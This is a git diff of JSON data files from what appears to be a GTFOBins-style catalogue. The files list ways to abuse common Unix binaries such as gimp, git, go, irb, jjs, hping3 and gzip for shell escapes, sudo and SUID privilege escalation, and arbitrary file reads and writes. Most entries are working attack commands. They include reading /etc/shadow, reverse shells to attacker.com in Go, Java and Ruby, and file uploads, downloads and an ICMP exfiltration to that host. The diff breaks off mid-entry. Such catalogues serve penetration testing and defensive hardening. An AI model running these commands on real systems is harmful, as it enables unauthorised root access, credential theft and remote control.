--batch-interpreter=python-fu-eval -b 'import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\")'\n" + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\ngimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])'\n" } ], "file-write": [ { - "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'open(\"[file]\", \"wb\").write(\"DATA\")'\n" + + "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'open(\"file_to_write\", \"wb\").write(\"DATA\")'\n" } ], "file-read": [ { - "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'print(open(\"[file]\").read())'" + + "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'print(open(\"file_to_read\").read())'\n" } ], "library-load": [ { - "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")'" + + "code": "gimp -idf --batch-interpreter=python-fu-eval -b 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")'\n" } ], "suid": [ { - "code": "./gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'" + + "code": "./gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'\n" } ], "sudo": [ { - "code": "sudo gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system(\"sh\")'" + + "code": "sudo gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system(\"sh\")'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/ginsh.json b/gtfo/data/ginsh.json new file mode 100644 index 0000000..85f9573 --- /dev/null +++ b/gtfo/data/ginsh.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "ginsh\n!/bin/sh\n" + } + ], + "limited-suid": [ + { + + "code": "./ginsh\n!/bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo ginsh\n!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/git.json b/gtfo/data/git.json index 11c690f..03bfdbf 100644 --- a/gtfo/data/git.json +++ b/gtfo/data/git.json @@ -2,53 +2,64 @@ "functions": { "shell": [ { - "code": "PAGER='sh -c \"exec sh 0<&1\"' git -p help" + + "code": "PAGER='sh -c \"exec sh 0<&1\"' git -p help\n" }, { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "git help config\n!/bin/sh\n" }, { - "description": "The help system can also be reached from any 'git' command, e.g., 'git branch'. This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "git branch --help config\n!/bin/sh\n" }, { - "description": "Git hooks are merely shell scripts and in the following example the hook associated to the 'pre-commit' action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the '-C' option.", + "description": "Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option.", "code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\ngit -C \"$TF\" commit --allow-empty -m x\n" }, { + "code": "TF=$(mktemp -d)\nln -s /bin/sh \"$TF/git-x\"\ngit \"--exec-path=$TF\" x\n" } ], "file-read": [ { - "description": "The read file content is displayed in 'diff' style output format.", - "code": "git diff /dev/null [file]\n" + "description": "The read file content is displayed in `diff` style output format.", + "code": "LFILE=file_to_read\ngit diff /dev/null $LFILE\n" + } + ], + "file-write": [ + { + "description": "The patch can be created locally by creating the file that will be written on the target using its absolute path, then `git diff /dev/null /path/to/file >x.patch`.", + "code": "git apply --unsafe-paths --directory / x.patch\n" } ], "sudo": [ { - "code": "sudo PAGER='sh -c \"exec sh 0<&1\"' git -p help" + + "code": "sudo PAGER='sh -c \"exec sh 0<&1\"' git -p help\n" }, { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "sudo git -p help config\n!/bin/sh\n" }, { - "description": "The help system can also be reached from any 'git' command, e.g., 'git branch'. This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "sudo git branch --help config\n!/bin/sh\n" }, { - "description": "Git hooks are merely shell scripts and in the following example the hook associated to the 'pre-commit' action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the '-C' option.", + "description": "Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option.", "code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\nsudo git -C \"$TF\" commit --allow-empty -m x\n" }, { + "code": "TF=$(mktemp -d)\nln -s /bin/sh \"$TF/git-x\"\nsudo git \"--exec-path=$TF\" x\n" } ], "limited-suid": [ { - "code": "PAGER='sh -c \"exec sh 0<&1\"' ./git -p help" + + "code": "PAGER='sh -c \"exec sh 0<&1\"' ./git -p help\n" } ] } diff --git a/gtfo/data/gnuplot.json b/gtfo/data/gnuplot.json new file mode 100644 index 0000000..a4781c7 --- /dev/null +++ b/gtfo/data/gnuplot.json @@ -0,0 +1,16 @@ +{ + "functions": { + "sudo": [ + { + "description": "", + "code": "COMMAND=id\nsudo gnuplot -e 'set print \"-\" ; print system(\"'$COMMAND'\")'\n" + } + ], + "file-read": [ + { + "description": "", + "code": "LFILE=file_to_read\nsudo gnuplot -e 'set print \"-\" ; print system(\"cat '$LFILE'\")'\n" + } + ] + } +} diff --git a/gtfo/data/go.json b/gtfo/data/go.json new file mode 100644 index 0000000..ddb4c6e --- /dev/null +++ b/gtfo/data/go.json @@ -0,0 +1,58 @@ +{ + "functions": { + "shell": [ + { + "description": "", + "code": "cat > main.go << 'EOF'\npackage main\n\nimport (\n \"os\"\n \"os/exec\"\n)\n\nfunc main() {\n cmd := exec.Command(\"/bin/sh\")\n cmd.Stdin = os.Stdin\n cmd.Stdout = os.Stdout\n cmd.Stderr = os.Stderr\n cmd.Run()\n}\nEOF\ngo run main.go\n" + } + ], + "reverse-shell": [ + { + "description": "Run ``nc -lvnp 12345`` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"net\"\n \"os\"\n \"os/exec\"\n)\n\nfunc main() {\n c, _ := net.Dial(\"tcp\", os.Getenv(\"RHOST\")+\":\"+os.Getenv(\"RPORT\"))\n cmd := exec.Command(\"/bin/sh\")\n cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c\n cmd.Run()\n}\nEOF\ngo run main.go\n" + } + ], + "file-upload": [ + { + "description": "Send local file via HTTP POST request.", + "code": "export URL=http://attacker.com/upload\nexport LFILE=file_to_send\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"bytes\"\n \"net/http\"\n \"os\"\n)\n\nfunc main() {\n data, _ := os.ReadFile(os.Getenv(\"LFILE\"))\n http.Post(os.Getenv(\"URL\"), \"application/octet-stream\", bytes.NewReader(data))\n}\nEOF\ngo run main.go\n" + } + ], + "file-download": [ + { + "description": "Fetch a remote file via HTTP GET request.", + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"io\"\n \"net/http\"\n \"os\"\n)\n\nfunc main() {\n r, _ := http.Get(os.Getenv(\"URL\"))\n defer r.Body.Close()\n f, _ := os.Create(os.Getenv(\"LFILE\"))\n defer f.Close()\n io.Copy(f, r.Body)\n}\nEOF\ngo run main.go\n" + } + ], + "file-write": [ + { + "description": "", + "code": "cat > main.go << 'EOF'\npackage main\n\nimport \"os\"\n\nfunc main() {\n os.WriteFile(\"file_to_write\", []byte(\"DATA\"), 0644)\n}\nEOF\ngo run main.go\n" + } + ], + "file-read": [ + { + "description": "", + "code": "export LFILE=file_to_read\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"fmt\"\n \"os\"\n)\n\nfunc main() {\n data, _ := os.ReadFile(os.Getenv(\"LFILE\"))\n fmt.Print(string(data))\n}\nEOF\ngo run main.go\n" + } + ], + "suid": [ + { + "description": "", + "code": "./go run main.go\n# with the `main.go` containing:\n# os/exec to spawn sh with -p\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"os\"\n \"os/exec\"\n)\n\nfunc main() {\n cmd := exec.Command(\"/bin/sh\", \"-p\")\n cmd.Stdin = os.Stdin\n cmd.Stdout = os.Stdout\n cmd.Stderr = os.Stderr\n cmd.Run()\n}\nEOF\n./go run main.go\n" + } + ], + "sudo": [ + { + "description": "", + "code": "sudo go run main.go\n# with main.go containing:\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"os\"\n \"os/exec\"\n)\n\nfunc main() {\n cmd := exec.Command(\"/bin/sh\")\n cmd.Stdin, cmd.Stdout, cmd.Stderr = os.Stdin, os.Stdout, os.Stderr\n cmd.Run()\n}\nEOF\nsudo go run main.go\n" + } + ], + "capabilities": [ + { + "description": "", + "code": "./go run main.go\n# binary must have CAP_SETUID set\ncat > main.go << 'EOF'\npackage main\n\nimport (\n \"os\"\n \"os/exec\"\n \"syscall\"\n)\n\nfunc main() {\n syscall.Setuid(0)\n cmd := exec.Command(\"/bin/sh\")\n cmd.Stdin, cmd.Stdout, cmd.Stderr = os.Stdin, os.Stdout, os.Stderr\n cmd.Run()\n}\nEOF\n./go run main.go\n" + } + ] + } +} diff --git a/gtfo/data/grc.json b/gtfo/data/grc.json new file mode 100644 index 0000000..2a0d499 --- /dev/null +++ b/gtfo/data/grc.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "grc --pty /bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo grc --pty /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/grep.json b/gtfo/data/grep.json index 6dac19d..f506bb5 100644 --- a/gtfo/data/grep.json +++ b/gtfo/data/grep.json @@ -1,20 +1,22 @@ { - "description": "There are many 'grep' flavors that in many cases are just copies, symlinks or wrappers around the original binary that may share the same behavior, for example: 'egrep', 'fgrep', 'zgrep', etc.\n", "functions": { "file-read": [ { - "code": "grep '' [file]\n" + + "code": "LFILE=file_to_read\ngrep '' $LFILE\n" } ], "suid": [ { - "code": "./grep '' [file]\n" + + "code": "LFILE=file_to_read\n./grep '' $LFILE\n" } ], "sudo": [ { - "code": "sudo grep '' [file]\n" + + "code": "LFILE=file_to_read\nsudo grep '' $LFILE\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/gtester.json b/gtfo/data/gtester.json index eff5f59..94655a1 100644 --- a/gtfo/data/gtester.json +++ b/gtfo/data/gtester.json @@ -1,19 +1,28 @@ { "functions": { + "file-write": [ + { + "description": "Data to be written appears in an XML attribute in the output file (``).", + "code": "LFILE=file_to_write\ngtester \"DATA\" -o $LFILE\n" + } + ], "shell": [ { + "code": "TF=$(mktemp)\necho '#!/bin/sh' > $TF\necho 'exec /bin/sh -p 0<&1' >> $TF\nchmod +x $TF\ngtester -q $TF\n" } ], "sudo": [ { + "code": "TF=$(mktemp)\necho '#!/bin/sh' > $TF\necho 'exec /bin/sh 0<&1' >> $TF\nchmod +x $TF\nsudo gtester -q $TF\n" } ], "suid": [ { + "code": "TF=$(mktemp)\necho '#!/bin/sh -p' > $TF\necho 'exec /bin/sh -p 0<&1' >> $TF\nchmod +x $TF\nsudo gtester -q $TF\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/guile.json b/gtfo/data/guile.json new file mode 100644 index 0000000..7820c56 --- /dev/null +++ b/gtfo/data/guile.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + "description": "", + "code": "guile -c '(system \"sh\")'\n" + } + ], + "sudo": [ + { + "description": "", + "code": "sudo guile -c '(system \"sh\")'\n" + } + ] + } +} diff --git a/gtfo/data/gzip.json b/gtfo/data/gzip.json index e5177fe..5d1d67e 100644 --- a/gtfo/data/gzip.json +++ b/gtfo/data/gzip.json @@ -1,22 +1,31 @@ { - "description": "There are also a number of other utilities that rely on 'gzip' under the hood, e.g., 'zless', 'zcat', 'gunzip', etc. Besides having similar features, they also allow privileged reads if 'gzip' itself is SUID.", "functions": { "file-read": [ { - "code": "gzip -f [file] -t\n" + + "code": "LFILE=file_to_read\ngzip -f $LFILE -t\n" }, { - "code": "gzip -c [file] | gzip -d\n" + + "code": "LFILE=file_to_read\ngzip -c $LFILE | gzip -d\n" } ], "suid": [ { - "code": "./gzip -f [file] -t\n" + + "code": "LFILE=file_to_read\n./gzip -f $LFILE -t\n" } ], "sudo": [ { - "code": "sudo gzip -f [file] -t\n" + + "code": "LFILE=file_to_read\nsudo gzip -f $LFILE -t\n" + } + ], + "capabilities": [ + { + "description": "If cap_dac_read_search is set. Run ``getcap -r / 2>/dev/null`` to confirm ``/usr/bin/gzip cap_dac_read_search=ep``", + "code": "gzip can read any file:\ngzip -c /etc/shadow > /tmp/shadow.gz\ngzip -d /tmp/shadow.gz\ncat /tmp/shadow\n" } ] } diff --git a/gtfo/data/hashcat.json b/gtfo/data/hashcat.json new file mode 100644 index 0000000..7f0fcf8 --- /dev/null +++ b/gtfo/data/hashcat.json @@ -0,0 +1,16 @@ +{ + "functions": { + "file-write": [ + { + "description": "", + "code": "LFILE=file_to_write\necho -n \"DATA\" > wordlist && echo -n \"DATA\" | md5sum | awk '{print $1}' > hash\nhashcat -m 0 -a 0 --quiet --potfile-disable -o \"$LFILE\" --outfile-format=2 --outfile-autohex-disable hash wordlist\n" + } + ], + "sudo": [ + { + "description": "", + "code": "LFILE=file_to_write\necho -n \"DATA\" > wordlist && echo -n \"DATA\" | md5sum | awk '{print $1}' > hash\nsudo hashcat -m 0 -a 0 --quiet --potfile-disable -o \"$LFILE\" --outfile-format=2 --outfile-autohex-disable hash wordlist\n" + } + ] + } +} diff --git a/gtfo/data/hd.json b/gtfo/data/hd.json index 6a6e4e6..7f72d05 100644 --- a/gtfo/data/hd.json +++ b/gtfo/data/hd.json @@ -1,20 +1,22 @@ { - "description": "The output is a hex dump.", "functions": { "file-read": [ { - "code": "hd \"[file]\"\n" + + "code": "LFILE=file_to_read\nhd \"$LFILE\"\n" } ], "suid": [ { - "code": "./hd \"[file]\"\n" + + "code": "LFILE=file_to_read\n./hd \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo hd \"[file]\"\n" + + "code": "LFILE=file_to_read\nsudo hd \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/head.json b/gtfo/data/head.json index 1beb472..1829e91 100644 --- a/gtfo/data/head.json +++ b/gtfo/data/head.json @@ -2,18 +2,21 @@ "functions": { "file-read": [ { - "code": "head -c1G [file]\n" + + "code": "LFILE=file_to_read\nhead -c1G \"$LFILE\"\n" } ], "suid": [ { - "code": "./head -c1G [file]\n" + + "code": "LFILE=file_to_read\n./head -c1G \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo head -c1G [file]\n" + + "code": "LFILE=file_to_read\nsudo head -c1G \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/hexdump.json b/gtfo/data/hexdump.json index ba2d201..73ffa2e 100644 --- a/gtfo/data/hexdump.json +++ b/gtfo/data/hexdump.json @@ -1,20 +1,22 @@ { - "description": "The output is a hex dump.", "functions": { "file-read": [ { - "code": "hexdump -C \"[file]\"\n" + + "code": "LFILE=file_to_read\nhexdump -C \"$LFILE\"\n" } ], "suid": [ { - "code": "./hexdump -C \"[file]\"\n" + + "code": "LFILE=file_to_read\n./hexdump -C \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo hexdump -C \"[file]\"\n" + + "code": "LFILE=file_to_read\nsudo hexdump -C \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/hg.json b/gtfo/data/hg.json new file mode 100644 index 0000000..be6c1fe --- /dev/null +++ b/gtfo/data/hg.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + "description": "", + "code": "hg --config alias.root='!sh' root\n" + } + ], + "sudo": [ + { + "description": "", + "code": "sudo hg --config alias.root='!sh' root\n" + } + ] + } +} diff --git a/gtfo/data/highlight.json b/gtfo/data/highlight.json index e01b279..837ecfa 100644 --- a/gtfo/data/highlight.json +++ b/gtfo/data/highlight.json @@ -2,18 +2,21 @@ "functions": { "file-read": [ { - "code": "highlight --no-doc --failsafe \"[file]\"\n" + + "code": "LFILE=file_to_read\nhighlight --no-doc --failsafe \"$LFILE\"\n" } ], "suid": [ { - "code": "./highlight --no-doc --failsafe \"[file]\"\n" + + "code": "LFILE=file_to_read\n./highlight --no-doc --failsafe \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo highlight --no-doc --failsafe \"[file]\"\n" + + "code": "LFILE=file_to_read\nsudo highlight --no-doc --failsafe \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/hping3.json b/gtfo/data/hping3.json index a663741..480779e 100644 --- a/gtfo/data/hping3.json +++ b/gtfo/data/hping3.json @@ -2,17 +2,24 @@ "functions": { "shell": [ { + "code": "hping3\n/bin/sh\n" } ], "suid": [ { + "code": "./hping3\n/bin/sh -p\n" } ], "sudo": [ { + "code": "sudo hping3\n/bin/sh\n" + }, + { + "description": "The file is continuously sent, adjust the `--count` parameter or kill the sender when done. Receive on the attacker box with:\n\n```\nsudo hping3 --icmp --listen xxx --dump\n```\n", + "code": "RHOST=attacker.com\nLFILE=file_to_read\nsudo hping3 \"$RHOST\" --icmp --data 500 --sign xxx --file \"$LFILE\"\n" } ] } diff --git a/gtfo/data/iconv.json b/gtfo/data/iconv.json index 124f180..15836a3 100644 --- a/gtfo/data/iconv.json +++ b/gtfo/data/iconv.json @@ -1,25 +1,28 @@ { - "description": "The '8859_1' encoding is used as it accepts any single-byte sequence, thus it allows to read/write arbitrary files. Other encoding combinations may corrupt the result.", "functions": { "file-write": [ { - "code": "echo \"DATA\" | iconv -f 8859_1 -t 8859_1 -o \"[file]\"\n" + + "code": "LFILE=file_to_write\necho \"DATA\" | iconv -f 8859_1 -t 8859_1 -o \"$LFILE\"\n" } ], "file-read": [ { - "code": "iconv -f 8859_1 -t 8859_1 \"[file]\"\n" + + "code": "LFILE=file_to_read\niconv -f 8859_1 -t 8859_1 \"$LFILE\"\n" } ], "suid": [ { - "code": "./iconv -f 8859_1 -t 8859_1 \"[file]\"\n" + + "code": "LFILE=file_to_read\n./iconv -f 8859_1 -t 8859_1 \"$LFILE\"\n" } ], "sudo": [ { - "code": "./iconv -f 8859_1 -t 8859_1 \"[file]\"\n" + + "code": "LFILE=file_to_read\n./iconv -f 8859_1 -t 8859_1 \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/iftop.json b/gtfo/data/iftop.json index d93518d..563460c 100644 --- a/gtfo/data/iftop.json +++ b/gtfo/data/iftop.json @@ -1,18 +1,20 @@ { - "description": "This requires 'iftop' 0.17 and the privilege to capture on some device (specify with '-i' if needed) .", "functions": { "shell": [ { + "code": "iftop\n!/bin/sh\n" } ], "limited-suid": [ { + "code": "./iftop\n!/bin/sh\n" } ], "sudo": [ { + "code": "sudo iftop\n!/bin/sh\n" } ] diff --git a/gtfo/data/install.json b/gtfo/data/install.json index b5e6833..e76bd7e 100644 --- a/gtfo/data/install.json +++ b/gtfo/data/install.json @@ -1,14 +1,15 @@ { - "description": "This can be run with elevated privileges to change permissions ('6' denotes the SUID bits) and then read, write, or execute a copy of the file.", "functions": { "suid": [ { - "code": "TF=$(mktemp)\n./install -m 6777 [file] $TF\n" + + "code": "LFILE=file_to_change\nTF=$(mktemp)\n./install -m 6777 $LFILE $TF\n" } ], "sudo": [ { - "code": "TF=$(mktemp)\nsudo install -m 6777 [file] $TF\n" + + "code": "LFILE=file_to_change\nTF=$(mktemp)\nsudo install -m 6777 $LFILE $TF\n" } ] } diff --git a/gtfo/data/ionice.json b/gtfo/data/ionice.json index 2459e41..cf52cf9 100644 --- a/gtfo/data/ionice.json +++ b/gtfo/data/ionice.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { - "code": "ionice /bin/sh" + + "code": "ionice /bin/sh\n" } ], "suid": [ { - "code": "./ionice /bin/sh -p" + + "code": "./ionice /bin/sh -p\n" } ], "sudo": [ { - "code": "sudo ionice /bin/sh" + + "code": "sudo ionice /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/ip.json b/gtfo/data/ip.json index 8435164..8fd5dd6 100644 --- a/gtfo/data/ip.json +++ b/gtfo/data/ip.json @@ -1,14 +1,15 @@ { - "description": "The read file content is corrupted by error prints.\n", "functions": { "file-read": [ { - "code": "ip -force -batch [file]\n" + + "code": "LFILE=file_to_read\nip -force -batch \"$LFILE\"\n" } ], "suid": [ { - "code": "./ip -force -batch [file]\n" + + "code": "LFILE=file_to_read\n./ip -force -batch \"$LFILE\"\n" }, { "description": "This only works for Linux with CONFIG_NET_NS=y.", @@ -17,12 +18,17 @@ ], "sudo": [ { - "code": "sudo ip -force -batch [file]\n" + + "code": "LFILE=file_to_read\nsudo ip -force -batch \"$LFILE\"\n" }, { "description": "This only works for Linux with CONFIG_NET_NS=y.", "code": "sudo ip netns add foo\nsudo ip netns exec foo /bin/sh\nsudo ip netns delete foo\n" + }, + { + "description": "This only works for Linux with CONFIG_NET_NS=y. This version also grants network access.", + "code": "sudo ip netns add foo\nsudo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar\nsudo ip netns exec bar /bin/sh\nsudo ip netns delete foo\nsudo ip netns delete bar\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/irb.json b/gtfo/data/irb.json index dd9aac1..3a9ea1e 100644 --- a/gtfo/data/irb.json +++ b/gtfo/data/irb.json @@ -2,46 +2,51 @@ "functions": { "shell": [ { + "code": "irb\nexec '/bin/bash'\n" } ], "reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "irb\nrequire 'socket'; exit if fork;c=TCPSocket.new('[host]', [port]);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read} end\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "export RHOST='127.0.0.1'\nexport RPORT=9000\nirb\nrequire 'socket'; exit if fork;c=TCPSocket.new(ENV[\"RHOST\"],ENV[\"RPORT\"]);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read} end\n" } ], "file-upload": [ { - "description": "Serve files in the local folder running an HTTP server on port [port].", - "code": "irb\nrequire 'webrick'; WEBrick::HTTPServer.new(:Port => [port], :DocumentRoot => Dir.pwd).start;\n" + "description": "Serve files in the local folder running an HTTP server on port 8888.", + "code": "irb\nrequire 'webrick'; WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start;\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request.", - "code": "irb\nrequire 'open-uri'; IO.copy_stream(open('[url]'), '[file]')\n" + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nirb\nrequire 'open-uri'; download = open(ENV['URL']); IO.copy_stream(download, ENV['LFILE'])\n" } ], "file-write": [ { - "code": "irb\nFile.open(\"[file]\", \"w+\") { |f| f.write(\"DATA\") }\n" + + "code": "irb\nFile.open(\"file_to_write\", \"w+\") { |f| f.write(\"DATA\") }\n" } ], "file-read": [ { - "code": "irb\nputs File.read(\"[file]\")\n" + + "code": "irb\nputs File.read(\"file_to_read\")\n" } ], "library-load": [ { + "code": "irb\nrequire \"fiddle\"; Fiddle.dlopen(\"lib.so\")\n" } ], "sudo": [ { + "code": "sudo irb\nexec '/bin/bash'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/ispell.json b/gtfo/data/ispell.json new file mode 100644 index 0000000..d2b64f2 --- /dev/null +++ b/gtfo/data/ispell.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "ispell /etc/passwd\n!/bin/sh\n" + } + ], + "suid": [ + { + + "code": "./ispell /etc/passwd\n!/bin/sh -p\n" + } + ], + "sudo": [ + { + + "code": "sudo ispell /etc/passwd\n!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/java.json b/gtfo/data/java.json new file mode 100644 index 0000000..38c4910 --- /dev/null +++ b/gtfo/data/java.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "", + "code": "TD=$(mktemp -d)\nSOURCE='public class Exec { public static void main(String[] args) throws Exception { new ProcessBuilder(\"/bin/sh\").inheritIO().start().waitFor(); } }'\necho \"$SOURCE\" > $TD/Exec.java\njavac $TD/Exec.java\nsudo java -cp $TD Exec\n" + } + ] + } +} diff --git a/gtfo/data/jjs.json b/gtfo/data/jjs.json index 302ca08..d8445d4 100644 --- a/gtfo/data/jjs.json +++ b/gtfo/data/jjs.json @@ -1,43 +1,46 @@ { - "description": "This tool is installed starting with Java SE 8.", "functions": { "shell": [ { - "code": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()\" | jjs" + + "code": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()\" | jjs\n" } ], "reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "echo 'var ProcessBuilder = Java.type(\"java.lang.ProcessBuilder\");\nvar p=new ProcessBuilder(\"/bin/bash\", \"-i\").redirectErrorStream(true).start();\nvar Socket = Java.type(\"java.net.Socket\");\nvar s=new Socket(\"[host]\",[port]);\nvar pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\nvar po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type(\"java.lang.Thread\").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\necho 'var host=Java.type(\"java.lang.System\").getenv(\"RHOST\");\nvar port=Java.type(\"java.lang.System\").getenv(\"RPORT\");\nvar ProcessBuilder = Java.type(\"java.lang.ProcessBuilder\");\nvar p=new ProcessBuilder(\"/bin/bash\", \"-i\").redirectErrorStream(true).start();\nvar Socket = Java.type(\"java.net.Socket\");\nvar s=new Socket(host,port);\nvar pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\nvar po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type(\"java.lang.Thread\").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request.", - "code": "echo \"var URL = Java.type('java.net.URL');\nvar ws = new URL('[url]');\nvar Channels = Java.type('java.nio.channels.Channels');\nvar rbc = Channels.newChannel(ws.openStream());\nvar FileOutputStream = Java.type('java.io.FileOutputStream');\nvar fos = new FileOutputStream('[file]');\nfos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);\nfos.close();\nrbc.close();\" | jjs\n" + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\necho \"var URL = Java.type('java.net.URL');\nvar ws = new URL('$URL');\nvar Channels = Java.type('java.nio.channels.Channels');\nvar rbc = Channels.newChannel(ws.openStream());\nvar FileOutputStream = Java.type('java.io.FileOutputStream');\nvar fos = new FileOutputStream('$LFILE');\nfos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);\nfos.close();\nrbc.close();\" | jjs\n" } ], "file-write": [ { - "code": "echo 'var FileWriter = Java.type(\"java.io.FileWriter\");\nvar fw=new FileWriter(\"[file]\");\nfw.write(\"DATA\");\nfw.close();' | jjs\n" + + "code": "echo 'var FileWriter = Java.type(\"java.io.FileWriter\");\nvar fw=new FileWriter(\"./file_to_write\");\nfw.write(\"DATA\");\nfw.close();' | jjs\n" } ], "file-read": [ { - "code": "echo 'var BufferedReader = Java.type(\"java.io.BufferedReader\");\nvar FileReader = Java.type(\"java.io.FileReader\");\nvar br = new BufferedReader(new FileReader(\"[file]\"));\nwhile ((line = br.readLine()) != null) { print(line); }' | jjs\n" + + "code": "echo 'var BufferedReader = Java.type(\"java.io.BufferedReader\");\nvar FileReader = Java.type(\"java.io.FileReader\");\nvar br = new BufferedReader(new FileReader(\"file_to_read\"));\nwhile ((line = br.readLine()) != null) { print(line); }' | jjs\n" } ], "suid": [ { "description": "This has 